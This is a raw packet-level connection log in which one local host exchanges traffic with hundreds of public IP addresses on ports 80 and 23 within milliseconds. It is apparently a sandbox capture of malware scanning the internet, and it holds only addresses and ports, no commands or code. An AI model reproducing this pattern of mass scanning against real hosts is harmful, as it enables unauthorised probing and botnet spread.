Dec 3, 2024 21:47:19.297950029 CET	80	39419	43.183.131.33	192.168.2.13
Dec 3, 2024 21:47:19.297956944 CET	39419	80	192.168.2.13	101.178.120.62
Dec 3, 2024 21:47:19.297967911 CET	39419	80	192.168.2.13	123.72.132.63
Dec 3, 2024 21:47:19.297972918 CET	80	39419	139.232.86.183	192.168.2.13
Dec 3, 2024 21:47:19.297981024 CET	39419	80	192.168.2.13	43.183.131.33
Dec 3, 2024 21:47:19.297988892 CET	80	39419	163.167.107.207	192.168.2.13
Dec 3, 2024 21:47:19.298005104 CET	80	39419	105.227.107.0	192.168.2.13
Dec 3, 2024 21:47:19.298006058 CET	39419	80	192.168.2.13	139.232.86.183
Dec 3, 2024 21:47:19.298022032 CET	39419	80	192.168.2.13	163.167.107.207
Dec 3, 2024 21:47:19.298024893 CET	80	39419	81.40.58.10	192.168.2.13
Dec 3, 2024 21:47:19.298029900 CET	39419	80	192.168.2.13	105.227.107.0
Dec 3, 2024 21:47:19.298032999 CET	80	39419	48.48.172.159	192.168.2.13
Dec 3, 2024 21:47:19.298052073 CET	80	39419	104.178.29.11	192.168.2.13
Dec 3, 2024 21:47:19.298053980 CET	39419	80	192.168.2.13	81.40.58.10
Dec 3, 2024 21:47:19.298069954 CET	39419	80	192.168.2.13	48.48.172.159
Dec 3, 2024 21:47:19.298118114 CET	39419	80	192.168.2.13	104.178.29.11
Dec 3, 2024 21:47:19.298584938 CET	80	39419	17.203.13.42	192.168.2.13
Dec 3, 2024 21:47:19.298626900 CET	39419	80	192.168.2.13	17.203.13.42
Dec 3, 2024 21:47:19.298640013 CET	80	39419	98.209.77.206	192.168.2.13
Dec 3, 2024 21:47:19.298654079 CET	80	39419	136.64.229.172	192.168.2.13
Dec 3, 2024 21:47:19.298680067 CET	80	39419	206.171.0.96	192.168.2.13
Dec 3, 2024 21:47:19.298682928 CET	39419	80	192.168.2.13	98.209.77.206
Dec 3, 2024 21:47:19.298683882 CET	39419	80	192.168.2.13	136.64.229.172
Dec 3, 2024 21:47:19.298693895 CET	80	39419	72.68.99.197	192.168.2.13
Dec 3, 2024 21:47:19.298702955 CET	80	39419	138.23.72.93	192.168.2.13
Dec 3, 2024 21:47:19.298731089 CET	39419	80	192.168.2.13	206.171.0.96
Dec 3, 2024 21:47:19.298746109 CET	80	39419	38.166.104.85	192.168.2.13
Dec 3, 2024 21:47:19.298748016 CET	39419	80	192.168.2.13	72.68.99.197
Dec 3, 2024 21:47:19.298767090 CET	39419	80	192.168.2.13	138.23.72.93
Dec 3, 2024 21:47:19.298780918 CET	80	39419	166.43.249.236	192.168.2.13
Dec 3, 2024 21:47:19.298799038 CET	39419	80	192.168.2.13	38.166.104.85
Dec 3, 2024 21:47:19.298804998 CET	80	39419	163.64.252.104	192.168.2.13
Dec 3, 2024 21:47:19.298820019 CET	39419	80	192.168.2.13	166.43.249.236
Dec 3, 2024 21:47:19.298834085 CET	80	39419	167.143.150.151	192.168.2.13
Dec 3, 2024 21:47:19.298836946 CET	39419	80	192.168.2.13	163.64.252.104
Dec 3, 2024 21:47:19.298856020 CET	80	39419	95.137.239.14	192.168.2.13
Dec 3, 2024 21:47:19.298870087 CET	80	39419	139.139.74.166	192.168.2.13
Dec 3, 2024 21:47:19.298872948 CET	39419	80	192.168.2.13	167.143.150.151
Dec 3, 2024 21:47:19.298891068 CET	80	39419	122.185.212.77	192.168.2.13
Dec 3, 2024 21:47:19.298893929 CET	39419	80	192.168.2.13	95.137.239.14
Dec 3, 2024 21:47:19.298904896 CET	39419	80	192.168.2.13	139.139.74.166
Dec 3, 2024 21:47:19.298928976 CET	39419	80	192.168.2.13	122.185.212.77
Dec 3, 2024 21:47:19.298943043 CET	80	39419	181.237.48.224	192.168.2.13
Dec 3, 2024 21:47:19.298983097 CET	39419	80	192.168.2.13	181.237.48.224
Dec 3, 2024 21:47:19.298990965 CET	80	39419	31.167.112.46	192.168.2.13
Dec 3, 2024 21:47:19.299021006 CET	80	39419	53.14.16.153	192.168.2.13
Dec 3, 2024 21:47:19.299027920 CET	39419	80	192.168.2.13	31.167.112.46
Dec 3, 2024 21:47:19.299060106 CET	39419	80	192.168.2.13	53.14.16.153
Dec 3, 2024 21:47:19.299071074 CET	80	39419	109.21.131.23	192.168.2.13
Dec 3, 2024 21:47:19.299104929 CET	39419	80	192.168.2.13	109.21.131.23
Dec 3, 2024 21:47:19.299138069 CET	80	39419	222.253.81.68	192.168.2.13
Dec 3, 2024 21:47:19.299184084 CET	39419	80	192.168.2.13	222.253.81.68
Dec 3, 2024 21:47:19.299190998 CET	80	39419	177.114.69.200	192.168.2.13
Dec 3, 2024 21:47:19.299205065 CET	80	39419	147.224.19.123	192.168.2.13
Dec 3, 2024 21:47:19.299237013 CET	39419	80	192.168.2.13	177.114.69.200
Dec 3, 2024 21:47:19.299237013 CET	80	39419	139.10.156.21	192.168.2.13
Dec 3, 2024 21:47:19.299237013 CET	39419	80	192.168.2.13	147.224.19.123
Dec 3, 2024 21:47:19.299273968 CET	39419	80	192.168.2.13	139.10.156.21
Dec 3, 2024 21:47:19.299304962 CET	80	39419	209.0.82.32	192.168.2.13
Dec 3, 2024 21:47:19.299330950 CET	80	39419	191.8.213.60	192.168.2.13
Dec 3, 2024 21:47:19.299339056 CET	39419	80	192.168.2.13	209.0.82.32
Dec 3, 2024 21:47:19.299365044 CET	80	39419	123.156.136.37	192.168.2.13
Dec 3, 2024 21:47:19.299371004 CET	39419	80	192.168.2.13	191.8.213.60
Dec 3, 2024 21:47:19.299381018 CET	80	39419	113.66.191.90	192.168.2.13
Dec 3, 2024 21:47:19.299401999 CET	39419	80	192.168.2.13	123.156.136.37
Dec 3, 2024 21:47:19.299410105 CET	39419	80	192.168.2.13	113.66.191.90
Dec 3, 2024 21:47:19.299432993 CET	80	39419	196.235.208.170	192.168.2.13
Dec 3, 2024 21:47:19.299470901 CET	39419	80	192.168.2.13	196.235.208.170
Dec 3, 2024 21:47:19.299496889 CET	80	39419	125.49.182.105	192.168.2.13
Dec 3, 2024 21:47:19.299511909 CET	80	39419	138.156.62.89	192.168.2.13
Dec 3, 2024 21:47:19.299534082 CET	39419	80	192.168.2.13	125.49.182.105
Dec 3, 2024 21:47:19.299540997 CET	39419	80	192.168.2.13	138.156.62.89
Dec 3, 2024 21:47:19.300565958 CET	80	39419	49.221.114.238	192.168.2.13
Dec 3, 2024 21:47:19.300609112 CET	80	39419	81.154.186.217	192.168.2.13
Dec 3, 2024 21:47:19.300625086 CET	80	39419	137.47.187.46	192.168.2.13
Dec 3, 2024 21:47:19.300626040 CET	39419	80	192.168.2.13	49.221.114.238
Dec 3, 2024 21:47:19.300645113 CET	80	39419	174.125.31.59	192.168.2.13
Dec 3, 2024 21:47:19.300651073 CET	39419	80	192.168.2.13	81.154.186.217
Dec 3, 2024 21:47:19.300661087 CET	39419	80	192.168.2.13	137.47.187.46
Dec 3, 2024 21:47:19.300681114 CET	39419	80	192.168.2.13	174.125.31.59
Dec 3, 2024 21:47:19.300741911 CET	80	39419	205.148.24.123	192.168.2.13
Dec 3, 2024 21:47:19.300755978 CET	80	39419	143.21.191.93	192.168.2.13
Dec 3, 2024 21:47:19.300770044 CET	80	39419	206.239.212.94	192.168.2.13
Dec 3, 2024 21:47:19.300779104 CET	39419	80	192.168.2.13	205.148.24.123
Dec 3, 2024 21:47:19.300795078 CET	80	39419	212.94.247.9	192.168.2.13
Dec 3, 2024 21:47:19.300796986 CET	39419	80	192.168.2.13	143.21.191.93
Dec 3, 2024 21:47:19.300808907 CET	39419	80	192.168.2.13	206.239.212.94
Dec 3, 2024 21:47:19.300817966 CET	80	39419	54.45.47.72	192.168.2.13
Dec 3, 2024 21:47:19.300833941 CET	80	39419	116.73.255.217	192.168.2.13
Dec 3, 2024 21:47:19.300841093 CET	39419	80	192.168.2.13	212.94.247.9
Dec 3, 2024 21:47:19.300853014 CET	80	39419	185.211.107.253	192.168.2.13
Dec 3, 2024 21:47:19.300854921 CET	39419	80	192.168.2.13	54.45.47.72
Dec 3, 2024 21:47:19.300863981 CET	39419	80	192.168.2.13	116.73.255.217
Dec 3, 2024 21:47:19.300863981 CET	80	39419	94.41.98.185	192.168.2.13
Dec 3, 2024 21:47:19.300885916 CET	80	39419	121.104.175.54	192.168.2.13
Dec 3, 2024 21:47:19.300887108 CET	39419	80	192.168.2.13	185.211.107.253
Dec 3, 2024 21:47:19.300895929 CET	80	39419	198.144.129.58	192.168.2.13
Dec 3, 2024 21:47:19.300901890 CET	39419	80	192.168.2.13	94.41.98.185
Dec 3, 2024 21:47:19.300915956 CET	80	39419	197.61.71.12	192.168.2.13
Dec 3, 2024 21:47:19.300920963 CET	39419	80	192.168.2.13	121.104.175.54
Dec 3, 2024 21:47:19.300921917 CET	39419	80	192.168.2.13	198.144.129.58
Dec 3, 2024 21:47:19.300944090 CET	80	39419	101.87.41.75	192.168.2.13
Dec 3, 2024 21:47:19.300949097 CET	39419	80	192.168.2.13	197.61.71.12
Dec 3, 2024 21:47:19.300961971 CET	80	39419	185.252.78.44	192.168.2.13
Dec 3, 2024 21:47:19.300976992 CET	80	39419	111.150.162.240	192.168.2.13
Dec 3, 2024 21:47:19.300983906 CET	39419	80	192.168.2.13	101.87.41.75
Dec 3, 2024 21:47:19.300993919 CET	39419	80	192.168.2.13	185.252.78.44
Dec 3, 2024 21:47:19.300995111 CET	80	39419	160.85.51.41	192.168.2.13
Dec 3, 2024 21:47:19.301009893 CET	39419	80	192.168.2.13	111.150.162.240
Dec 3, 2024 21:47:19.301011086 CET	80	39419	65.89.33.252	192.168.2.13
Dec 3, 2024 21:47:19.301026106 CET	80	39419	183.119.105.98	192.168.2.13
Dec 3, 2024 21:47:19.301033974 CET	39419	80	192.168.2.13	160.85.51.41
Dec 3, 2024 21:47:19.301039934 CET	80	39419	180.22.217.246	192.168.2.13
Dec 3, 2024 21:47:19.301044941 CET	39419	80	192.168.2.13	65.89.33.252
Dec 3, 2024 21:47:19.301058054 CET	39419	80	192.168.2.13	183.119.105.98
Dec 3, 2024 21:47:19.301069021 CET	80	39419	76.24.208.237	192.168.2.13
Dec 3, 2024 21:47:19.301070929 CET	39419	80	192.168.2.13	180.22.217.246
Dec 3, 2024 21:47:19.301085949 CET	80	39419	221.30.232.44	192.168.2.13
Dec 3, 2024 21:47:19.301100969 CET	39419	80	192.168.2.13	76.24.208.237
Dec 3, 2024 21:47:19.301105976 CET	80	39419	118.180.25.241	192.168.2.13
Dec 3, 2024 21:47:19.301124096 CET	80	39419	143.82.5.207	192.168.2.13
Dec 3, 2024 21:47:19.301126003 CET	39419	80	192.168.2.13	221.30.232.44
Dec 3, 2024 21:47:19.301137924 CET	80	39419	218.76.33.89	192.168.2.13
Dec 3, 2024 21:47:19.301145077 CET	39419	80	192.168.2.13	118.180.25.241
Dec 3, 2024 21:47:19.301160097 CET	39419	80	192.168.2.13	143.82.5.207
Dec 3, 2024 21:47:19.301170111 CET	39419	80	192.168.2.13	218.76.33.89
Dec 3, 2024 21:47:19.301175117 CET	80	39419	125.44.3.216	192.168.2.13
Dec 3, 2024 21:47:19.301217079 CET	39419	80	192.168.2.13	125.44.3.216
Dec 3, 2024 21:47:19.302330017 CET	80	39419	93.151.138.9	192.168.2.13
Dec 3, 2024 21:47:19.302341938 CET	80	39419	58.200.120.146	192.168.2.13
Dec 3, 2024 21:47:19.302359104 CET	80	39419	165.63.167.179	192.168.2.13
Dec 3, 2024 21:47:19.302371025 CET	80	39419	23.209.92.84	192.168.2.13
Dec 3, 2024 21:47:19.302376032 CET	39419	80	192.168.2.13	93.151.138.9
Dec 3, 2024 21:47:19.302380085 CET	39419	80	192.168.2.13	58.200.120.146
Dec 3, 2024 21:47:19.302396059 CET	39419	80	192.168.2.13	165.63.167.179
Dec 3, 2024 21:47:19.302403927 CET	39419	80	192.168.2.13	23.209.92.84
Dec 3, 2024 21:47:19.302411079 CET	80	39419	41.121.127.182	192.168.2.13
Dec 3, 2024 21:47:19.302426100 CET	80	39419	136.199.121.221	192.168.2.13
Dec 3, 2024 21:47:19.302443981 CET	80	39419	200.50.64.168	192.168.2.13
Dec 3, 2024 21:47:19.302448034 CET	39419	80	192.168.2.13	41.121.127.182
Dec 3, 2024 21:47:19.302455902 CET	39419	80	192.168.2.13	136.199.121.221
Dec 3, 2024 21:47:19.302484035 CET	39419	80	192.168.2.13	200.50.64.168
Dec 3, 2024 21:47:19.302515030 CET	80	39419	51.201.201.160	192.168.2.13
Dec 3, 2024 21:47:19.302532911 CET	80	39419	103.136.145.5	192.168.2.13
Dec 3, 2024 21:47:19.302542925 CET	80	39419	73.195.46.148	192.168.2.13
Dec 3, 2024 21:47:19.302548885 CET	39419	80	192.168.2.13	51.201.201.160
Dec 3, 2024 21:47:19.302565098 CET	80	39419	88.167.140.192	192.168.2.13
Dec 3, 2024 21:47:19.302566051 CET	39419	80	192.168.2.13	103.136.145.5
Dec 3, 2024 21:47:19.302575111 CET	39419	80	192.168.2.13	73.195.46.148
Dec 3, 2024 21:47:19.302591085 CET	80	39419	166.185.139.88	192.168.2.13
Dec 3, 2024 21:47:19.302603960 CET	39419	80	192.168.2.13	88.167.140.192
Dec 3, 2024 21:47:19.302608013 CET	80	39419	160.160.221.10	192.168.2.13
Dec 3, 2024 21:47:19.302624941 CET	39419	80	192.168.2.13	166.185.139.88
Dec 3, 2024 21:47:19.302635908 CET	80	39419	153.216.24.93	192.168.2.13
Dec 3, 2024 21:47:19.302645922 CET	39419	80	192.168.2.13	160.160.221.10
Dec 3, 2024 21:47:19.302658081 CET	80	39419	45.2.22.102	192.168.2.13
Dec 3, 2024 21:47:19.302669048 CET	39419	80	192.168.2.13	153.216.24.93
Dec 3, 2024 21:47:19.302694082 CET	39419	80	192.168.2.13	45.2.22.102
Dec 3, 2024 21:47:19.302702904 CET	80	39419	42.198.164.197	192.168.2.13
Dec 3, 2024 21:47:19.302736998 CET	39419	80	192.168.2.13	42.198.164.197
Dec 3, 2024 21:47:19.302763939 CET	80	39419	101.200.220.183	192.168.2.13
Dec 3, 2024 21:47:19.302779913 CET	80	39419	184.181.163.149	192.168.2.13
Dec 3, 2024 21:47:19.302798986 CET	39419	80	192.168.2.13	101.200.220.183
Dec 3, 2024 21:47:19.302803993 CET	39419	80	192.168.2.13	184.181.163.149
Dec 3, 2024 21:47:19.302813053 CET	80	39419	53.95.74.122	192.168.2.13
Dec 3, 2024 21:47:19.302824020 CET	80	39419	80.155.158.88	192.168.2.13
Dec 3, 2024 21:47:19.302850008 CET	39419	80	192.168.2.13	80.155.158.88
Dec 3, 2024 21:47:19.302854061 CET	39419	80	192.168.2.13	53.95.74.122
Dec 3, 2024 21:47:19.302946091 CET	80	39419	100.174.63.11	192.168.2.13
Dec 3, 2024 21:47:19.302959919 CET	80	39419	64.53.12.176	192.168.2.13
Dec 3, 2024 21:47:19.302977085 CET	80	39419	156.91.96.66	192.168.2.13
Dec 3, 2024 21:47:19.302988052 CET	39419	80	192.168.2.13	100.174.63.11
Dec 3, 2024 21:47:19.302999020 CET	39419	80	192.168.2.13	64.53.12.176
Dec 3, 2024 21:47:19.302999973 CET	80	39419	93.182.128.172	192.168.2.13
Dec 3, 2024 21:47:19.303006887 CET	39419	80	192.168.2.13	156.91.96.66
Dec 3, 2024 21:47:19.303015947 CET	80	39419	104.255.185.140	192.168.2.13
Dec 3, 2024 21:47:19.303031921 CET	39419	80	192.168.2.13	93.182.128.172
Dec 3, 2024 21:47:19.303039074 CET	80	39419	221.60.237.2	192.168.2.13
Dec 3, 2024 21:47:19.303046942 CET	39419	80	192.168.2.13	104.255.185.140
Dec 3, 2024 21:47:19.303060055 CET	80	39419	49.192.45.51	192.168.2.13
Dec 3, 2024 21:47:19.303070068 CET	80	39419	143.191.144.66	192.168.2.13
Dec 3, 2024 21:47:19.303076982 CET	39419	80	192.168.2.13	221.60.237.2
Dec 3, 2024 21:47:19.303091049 CET	39419	80	192.168.2.13	49.192.45.51
Dec 3, 2024 21:47:19.303107977 CET	39419	80	192.168.2.13	143.191.144.66
Dec 3, 2024 21:47:19.304092884 CET	80	39419	122.141.140.127	192.168.2.13
Dec 3, 2024 21:47:19.304136992 CET	39419	80	192.168.2.13	122.141.140.127
Dec 3, 2024 21:47:19.304169893 CET	80	39419	46.7.32.243	192.168.2.13
Dec 3, 2024 21:47:19.304205894 CET	39419	80	192.168.2.13	46.7.32.243
Dec 3, 2024 21:47:19.304256916 CET	80	39419	18.117.219.105	192.168.2.13
Dec 3, 2024 21:47:19.304271936 CET	80	39419	163.104.161.103	192.168.2.13
Dec 3, 2024 21:47:19.304285049 CET	80	39419	210.133.201.101	192.168.2.13
Dec 3, 2024 21:47:19.304301023 CET	39419	80	192.168.2.13	18.117.219.105
Dec 3, 2024 21:47:19.304306030 CET	80	39419	210.241.137.66	192.168.2.13
Dec 3, 2024 21:47:19.304306030 CET	39419	80	192.168.2.13	163.104.161.103
Dec 3, 2024 21:47:19.304322004 CET	39419	80	192.168.2.13	210.133.201.101
Dec 3, 2024 21:47:19.304336071 CET	80	39419	88.253.108.128	192.168.2.13
Dec 3, 2024 21:47:19.304342985 CET	39419	80	192.168.2.13	210.241.137.66
Dec 3, 2024 21:47:19.304357052 CET	80	39419	14.115.100.210	192.168.2.13
Dec 3, 2024 21:47:19.304369926 CET	80	39419	187.234.203.140	192.168.2.13
Dec 3, 2024 21:47:19.304375887 CET	39419	80	192.168.2.13	88.253.108.128
Dec 3, 2024 21:47:19.304384947 CET	39419	80	192.168.2.13	14.115.100.210
Dec 3, 2024 21:47:19.304403067 CET	80	39419	211.6.236.151	192.168.2.13
Dec 3, 2024 21:47:19.304404020 CET	39419	80	192.168.2.13	187.234.203.140
Dec 3, 2024 21:47:19.304418087 CET	80	39419	146.231.4.47	192.168.2.13
Dec 3, 2024 21:47:19.304446936 CET	80	39419	180.160.150.115	192.168.2.13
Dec 3, 2024 21:47:19.304447889 CET	39419	80	192.168.2.13	211.6.236.151
Dec 3, 2024 21:47:19.304455042 CET	39419	80	192.168.2.13	146.231.4.47
Dec 3, 2024 21:47:19.304483891 CET	80	39419	204.50.128.128	192.168.2.13
Dec 3, 2024 21:47:19.304483891 CET	39419	80	192.168.2.13	180.160.150.115
Dec 3, 2024 21:47:19.304519892 CET	39419	80	192.168.2.13	204.50.128.128
Dec 3, 2024 21:47:19.304522991 CET	80	39419	52.232.202.29	192.168.2.13
Dec 3, 2024 21:47:19.304557085 CET	39419	80	192.168.2.13	52.232.202.29
Dec 3, 2024 21:47:19.304599047 CET	80	39419	223.144.46.119	192.168.2.13
Dec 3, 2024 21:47:19.304615021 CET	80	39419	73.199.43.197	192.168.2.13
Dec 3, 2024 21:47:19.304637909 CET	39419	80	192.168.2.13	223.144.46.119
Dec 3, 2024 21:47:19.304639101 CET	80	39419	152.126.32.141	192.168.2.13
Dec 3, 2024 21:47:19.304651976 CET	39419	80	192.168.2.13	73.199.43.197
Dec 3, 2024 21:47:19.304655075 CET	80	39419	71.55.197.81	192.168.2.13
Dec 3, 2024 21:47:19.304671049 CET	39419	80	192.168.2.13	152.126.32.141
Dec 3, 2024 21:47:19.304672003 CET	80	39419	42.248.35.25	192.168.2.13
Dec 3, 2024 21:47:19.304683924 CET	39419	80	192.168.2.13	71.55.197.81
Dec 3, 2024 21:47:19.304701090 CET	80	39419	98.168.122.187	192.168.2.13
Dec 3, 2024 21:47:19.304704905 CET	39419	80	192.168.2.13	42.248.35.25
Dec 3, 2024 21:47:19.304716110 CET	80	39419	13.99.138.223	192.168.2.13
Dec 3, 2024 21:47:19.304737091 CET	39419	80	192.168.2.13	98.168.122.187
Dec 3, 2024 21:47:19.304752111 CET	39419	80	192.168.2.13	13.99.138.223
Dec 3, 2024 21:47:19.304919004 CET	80	39419	54.32.38.137	192.168.2.13
Dec 3, 2024 21:47:19.304934025 CET	80	39419	154.109.225.66	192.168.2.13
Dec 3, 2024 21:47:19.304948092 CET	80	39419	206.29.61.56	192.168.2.13
Dec 3, 2024 21:47:19.304960966 CET	39419	80	192.168.2.13	54.32.38.137
Dec 3, 2024 21:47:19.304965973 CET	80	39419	115.45.176.203	192.168.2.13
Dec 3, 2024 21:47:19.304971933 CET	39419	80	192.168.2.13	154.109.225.66
Dec 3, 2024 21:47:19.304982901 CET	39419	80	192.168.2.13	206.29.61.56
Dec 3, 2024 21:47:19.304985046 CET	80	39419	211.110.108.53	192.168.2.13
Dec 3, 2024 21:47:19.305000067 CET	80	39419	67.182.190.48	192.168.2.13
Dec 3, 2024 21:47:19.305000067 CET	39419	80	192.168.2.13	115.45.176.203
Dec 3, 2024 21:47:19.305016041 CET	39419	80	192.168.2.13	211.110.108.53
Dec 3, 2024 21:47:19.305016994 CET	80	39419	146.42.77.228	192.168.2.13
Dec 3, 2024 21:47:19.305032015 CET	39419	80	192.168.2.13	67.182.190.48
Dec 3, 2024 21:47:19.305046082 CET	39419	80	192.168.2.13	146.42.77.228
Dec 3, 2024 21:47:19.305870056 CET	80	39419	174.108.225.10	192.168.2.13
Dec 3, 2024 21:47:19.305911064 CET	39419	80	192.168.2.13	174.108.225.10
Dec 3, 2024 21:47:19.305937052 CET	80	39419	65.31.70.101	192.168.2.13
Dec 3, 2024 21:47:19.305952072 CET	80	39419	159.50.213.14	192.168.2.13
Dec 3, 2024 21:47:19.305974960 CET	39419	80	192.168.2.13	159.50.213.14
Dec 3, 2024 21:47:19.305978060 CET	39419	80	192.168.2.13	65.31.70.101
Dec 3, 2024 21:47:19.306132078 CET	80	39419	40.129.22.114	192.168.2.13
Dec 3, 2024 21:47:19.306149006 CET	80	39419	14.145.135.92	192.168.2.13
Dec 3, 2024 21:47:19.306160927 CET	80	39419	97.13.38.167	192.168.2.13
Dec 3, 2024 21:47:19.306169033 CET	39419	80	192.168.2.13	40.129.22.114
Dec 3, 2024 21:47:19.306178093 CET	39419	80	192.168.2.13	14.145.135.92
Dec 3, 2024 21:47:19.306180954 CET	80	39419	147.53.206.245	192.168.2.13
Dec 3, 2024 21:47:19.306191921 CET	80	39419	121.134.116.95	192.168.2.13
Dec 3, 2024 21:47:19.306191921 CET	39419	80	192.168.2.13	97.13.38.167
Dec 3, 2024 21:47:19.306196928 CET	80	39419	138.85.193.175	192.168.2.13
Dec 3, 2024 21:47:19.306216002 CET	80	39419	201.136.84.194	192.168.2.13
Dec 3, 2024 21:47:19.306226969 CET	39419	80	192.168.2.13	147.53.206.245
Dec 3, 2024 21:47:19.306226969 CET	39419	80	192.168.2.13	121.134.116.95
Dec 3, 2024 21:47:19.306227922 CET	80	39419	222.7.147.47	192.168.2.13
Dec 3, 2024 21:47:19.306231022 CET	39419	80	192.168.2.13	138.85.193.175
Dec 3, 2024 21:47:19.306246042 CET	80	39419	221.82.146.107	192.168.2.13
Dec 3, 2024 21:47:19.306258917 CET	39419	80	192.168.2.13	201.136.84.194
Dec 3, 2024 21:47:19.306258917 CET	39419	80	192.168.2.13	222.7.147.47
Dec 3, 2024 21:47:19.306265116 CET	80	39419	92.185.78.200	192.168.2.13
Dec 3, 2024 21:47:19.306282043 CET	80	39419	81.198.201.156	192.168.2.13
Dec 3, 2024 21:47:19.306289911 CET	39419	80	192.168.2.13	221.82.146.107
Dec 3, 2024 21:47:19.306294918 CET	80	39419	143.138.168.46	192.168.2.13
Dec 3, 2024 21:47:19.306298971 CET	39419	80	192.168.2.13	92.185.78.200
Dec 3, 2024 21:47:19.306309938 CET	80	39419	200.154.55.129	192.168.2.13
Dec 3, 2024 21:47:19.306312084 CET	39419	80	192.168.2.13	81.198.201.156
Dec 3, 2024 21:47:19.306323051 CET	80	39419	199.127.180.242	192.168.2.13
Dec 3, 2024 21:47:19.306337118 CET	39419	80	192.168.2.13	143.138.168.46
Dec 3, 2024 21:47:19.306338072 CET	80	39419	116.54.96.40	192.168.2.13
Dec 3, 2024 21:47:19.306348085 CET	80	39419	109.95.94.183	192.168.2.13
Dec 3, 2024 21:47:19.306353092 CET	39419	80	192.168.2.13	200.154.55.129
Dec 3, 2024 21:47:19.306353092 CET	39419	80	192.168.2.13	199.127.180.242
Dec 3, 2024 21:47:19.306363106 CET	80	39419	78.30.107.167	192.168.2.13
Dec 3, 2024 21:47:19.306375980 CET	80	39419	35.59.231.25	192.168.2.13
Dec 3, 2024 21:47:19.306377888 CET	39419	80	192.168.2.13	116.54.96.40
Dec 3, 2024 21:47:19.306377888 CET	39419	80	192.168.2.13	109.95.94.183
Dec 3, 2024 21:47:19.306390047 CET	80	39419	70.207.115.88	192.168.2.13
Dec 3, 2024 21:47:19.306397915 CET	39419	80	192.168.2.13	78.30.107.167
Dec 3, 2024 21:47:19.306406021 CET	80	39419	163.243.155.206	192.168.2.13
Dec 3, 2024 21:47:19.306413889 CET	39419	80	192.168.2.13	35.59.231.25
Dec 3, 2024 21:47:19.306418896 CET	39419	80	192.168.2.13	70.207.115.88
Dec 3, 2024 21:47:19.306422949 CET	80	39419	46.154.125.30	192.168.2.13
Dec 3, 2024 21:47:19.306435108 CET	80	39419	103.195.74.9	192.168.2.13
Dec 3, 2024 21:47:19.306441069 CET	39419	80	192.168.2.13	163.243.155.206
Dec 3, 2024 21:47:19.306451082 CET	80	39419	62.171.226.65	192.168.2.13
Dec 3, 2024 21:47:19.306452036 CET	39419	80	192.168.2.13	46.154.125.30
Dec 3, 2024 21:47:19.306468010 CET	39419	80	192.168.2.13	103.195.74.9
Dec 3, 2024 21:47:19.306476116 CET	80	39419	92.176.67.70	192.168.2.13
Dec 3, 2024 21:47:19.306485891 CET	23	40955	173.198.61.31	192.168.2.13
Dec 3, 2024 21:47:19.306489944 CET	39419	80	192.168.2.13	62.171.226.65
Dec 3, 2024 21:47:19.306504965 CET	39419	80	192.168.2.13	92.176.67.70
Dec 3, 2024 21:47:19.306520939 CET	40955	23	192.168.2.13	173.198.61.31
Dec 3, 2024 21:47:19.307363987 CET	23	40955	123.248.33.28	192.168.2.13
Dec 3, 2024 21:47:19.307377100 CET	23	40955	77.132.57.31	192.168.2.13
Dec 3, 2024 21:47:19.307390928 CET	23	40955	148.170.72.154	192.168.2.13
Dec 3, 2024 21:47:19.307404995 CET	40955	23	192.168.2.13	123.248.33.28
Dec 3, 2024 21:47:19.307411909 CET	40955	23	192.168.2.13	77.132.57.31
Dec 3, 2024 21:47:19.307415009 CET	23	40955	80.57.167.35	192.168.2.13
Dec 3, 2024 21:47:19.307421923 CET	40955	23	192.168.2.13	148.170.72.154
Dec 3, 2024 21:47:19.307430983 CET	23	40955	186.5.153.121	192.168.2.13
Dec 3, 2024 21:47:19.307444096 CET	23	40955	89.46.2.73	192.168.2.13
Dec 3, 2024 21:47:19.307446957 CET	40955	23	192.168.2.13	80.57.167.35
Dec 3, 2024 21:47:19.307461977 CET	40955	23	192.168.2.13	186.5.153.121
Dec 3, 2024 21:47:19.307470083 CET	23	40955	150.12.213.190	192.168.2.13
Dec 3, 2024 21:47:19.307476044 CET	40955	23	192.168.2.13	89.46.2.73
Dec 3, 2024 21:47:19.307488918 CET	23	40955	23.231.21.237	192.168.2.13
Dec 3, 2024 21:47:19.307508945 CET	40955	23	192.168.2.13	150.12.213.190
Dec 3, 2024 21:47:19.307523966 CET	40955	23	192.168.2.13	23.231.21.237
Dec 3, 2024 21:47:19.307559967 CET	23	40955	186.103.196.224	192.168.2.13
Dec 3, 2024 21:47:19.307574987 CET	23	40955	121.228.25.103	192.168.2.13
Dec 3, 2024 21:47:19.307590961 CET	40955	23	192.168.2.13	186.103.196.224
Dec 3, 2024 21:47:19.307610035 CET	40955	23	192.168.2.13	121.228.25.103
Dec 3, 2024 21:47:19.307621956 CET	23	40955	195.96.62.149	192.168.2.13
Dec 3, 2024 21:47:19.307646036 CET	23	40955	88.12.117.253	192.168.2.13
Dec 3, 2024 21:47:19.307662010 CET	40955	23	192.168.2.13	195.96.62.149
Dec 3, 2024 21:47:19.307672024 CET	23	40955	204.147.176.216	192.168.2.13
Dec 3, 2024 21:47:19.307678938 CET	40955	23	192.168.2.13	88.12.117.253
Dec 3, 2024 21:47:19.307686090 CET	23	40955	148.200.244.250	192.168.2.13
Dec 3, 2024 21:47:19.307709932 CET	40955	23	192.168.2.13	148.200.244.250
Dec 3, 2024 21:47:19.307712078 CET	40955	23	192.168.2.13	204.147.176.216
Dec 3, 2024 21:47:19.307713032 CET	23	40955	195.238.85.152	192.168.2.13
Dec 3, 2024 21:47:19.307723999 CET	23	40955	78.128.112.186	192.168.2.13
Dec 3, 2024 21:47:19.307745934 CET	40955	23	192.168.2.13	195.238.85.152
Dec 3, 2024 21:47:19.307748079 CET	23	40955	84.125.35.46	192.168.2.13
Dec 3, 2024 21:47:19.307759047 CET	40955	23	192.168.2.13	78.128.112.186
Dec 3, 2024 21:47:19.307760954 CET	23	40955	60.84.130.191	192.168.2.13
Dec 3, 2024 21:47:19.307779074 CET	40955	23	192.168.2.13	84.125.35.46
Dec 3, 2024 21:47:19.307792902 CET	40955	23	192.168.2.13	60.84.130.191
Dec 3, 2024 21:47:19.307800055 CET	23	40955	120.47.94.10	192.168.2.13
Dec 3, 2024 21:47:19.307813883 CET	23	40955	88.158.99.223	192.168.2.13
Dec 3, 2024 21:47:19.307831049 CET	40955	23	192.168.2.13	120.47.94.10
Dec 3, 2024 21:47:19.307837009 CET	23	40955	173.170.245.160	192.168.2.13
Dec 3, 2024 21:47:19.307846069 CET	40955	23	192.168.2.13	88.158.99.223
Dec 3, 2024 21:47:19.307872057 CET	40955	23	192.168.2.13	173.170.245.160
Dec 3, 2024 21:47:19.307874918 CET	23	40955	148.242.225.133	192.168.2.13
Dec 3, 2024 21:47:19.307889938 CET	23	40955	197.93.199.211	192.168.2.13
